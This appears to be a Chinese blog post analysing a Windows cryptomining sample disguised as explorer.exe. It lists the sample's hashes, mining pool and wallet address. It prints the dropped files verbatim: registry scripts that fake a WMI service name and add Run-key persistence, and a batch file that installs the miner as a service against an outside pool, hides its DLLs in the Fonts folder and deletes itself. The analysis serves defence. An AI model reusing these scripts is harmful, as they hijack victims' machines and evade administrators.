一个挖矿样本分析
0x00 概述
本来是想分析一下Sodinokibi病毒的新的变种,但是分析了一部分,被他的混淆和循环弄得有点头疼,东西还都是压在内存里。偶然翻到几年前的一个样本分析,又重新看了一下,发现自己在逆向这块几年了,也没实质性的提升,真是光阴喂了狗。这个样本是一个挖矿样本,那时候的样本挖矿还是直接CUP干到100%,还没有后来样本那样CUP占用率可配置。整体的恶意样本思路也比较清晰就是挖矿赚钱,尽量让管理员没有办法追踪,及时定位到了恶意程序了也让他不容啥掉。
1.1 基本信息
文件名 | explorer.exe |
文件大小 | 5455872 KB |
文件MD5 | 721e7123e2a413fb8fd4dc6262473f57 |
文件SHA1 | 89c8b778d6f56a7974357cc104ccdcb51169d907 |
文件SHA256 | 3966f7a96536ac2435056d0860ecb8fbc3cf52f665c48fa303149bc423fe6d3a |
文件CRC | 70AB0903 |
文件类型 | exe |
1.2 分析环境
系统 | win7 x64 |
软件 | IDA,OD |
0x01 功能描述
样本要是的功能是释放各种文件,其中包括挖矿客户端,守护程序及其他的痕迹清除,权限驻留等操作脚本。样本的目的就是给矿池wakuang.aimezi.com,钱包地址:49oJQsyUYU5GuH9hKDhdQhXvCZJT92pr27RzhmMY4uhyjSEoMXom6ciBbC4kTpwUitcXbahCuFqW6dvUr9kcBzKA8iYXics进行挖矿。
0x02 样本调试分析
2.样本创建投放文件
对样本动态调试检测,发现样本创建并投放了5个恶意文件,其一就是创建投放conhosts.exe文件即挖矿的客户端程序。
二是创建并投放server.reg,
Server.reg内容
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ServiceMains]
"Description"="Performance library information from Windows Management Instrumentation (WMI) providers to clients on the network. This service only runs when Performance Data Helper is activated."
"DisplayName"="WMI Adapter Services"
其三是创建并投放restart.reg
restart.reg内容
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Tomcat"=""C:\\Windows\\system\\svchost.exe"
其四是释放恶意的csrss.exe程序,对挖矿客户端(conhosts.exe)有守护作用。
其五是创建并投放1.bat。
1.bat内容如下所示,通过1.bat的内容可以知道,脚本的作用是启动挖矿客户端,启动相关恶意程序,并完成相关脚本的删除工作。
@csrss.exe install WindowsATE conhosts -a cryptonight -o stratum+tcp://wakuang.aimezi.com:7777 -u 49oJQsyUYU5GuH9hKDhdQhXvCZJT92pr27RzhmMY4uhyjSEoMXom6ciBbC4kTpwUitcXbahCuFqW6dvUr9kcBzKA8iYXics -p x -nofee 1 -dbg -1 -t 1
@csrss.exe start WindowsATE
@C:\Windows\regedit /s server.reg
@C:\Windows\regedit /s restart.reg
@del server.reg
@del restart.reg
@attrib +s +h C:\Windows\Fonts\conhosts.exe
@attrib +s +h C:\Windows\Fonts\libcurl.dll
@attrib +s +h C:\Windows\Fonts\libeay32.dll
@attrib +s +h C:\Windows\Fonts\libgcc_s_seh-1.dll
@attrib +s +h C:\Windows\Fonts\libstdc++-6.dll
@attrib +s +h C:\Windows\Fonts\libwinpthread-1.dll
@attrib +s +h C:\Windows\Fonts\ssleay32.dll.dll
@attrib +s +h C:\Windows\Fonts\msvcr71.dll
@attrib +s +h C:\Windows\Fonts\csrss.dll
@attrib +s +h C:\Windows\Fonts\zlib1.dll
@del %0
3. 创建安装服务启动项,在逆向代码中的可以看到,安装了WindowsATE服务项。
4.清除日志操作。从样本的静态及动态分析结果来看,样本在运行的时候会执行清除日志的命令。
5.启动挖矿客户端的命令行代码,矿池地址,通信端口等。 对样本进行逆向,可以看到启动客户端的地址,端口等信息。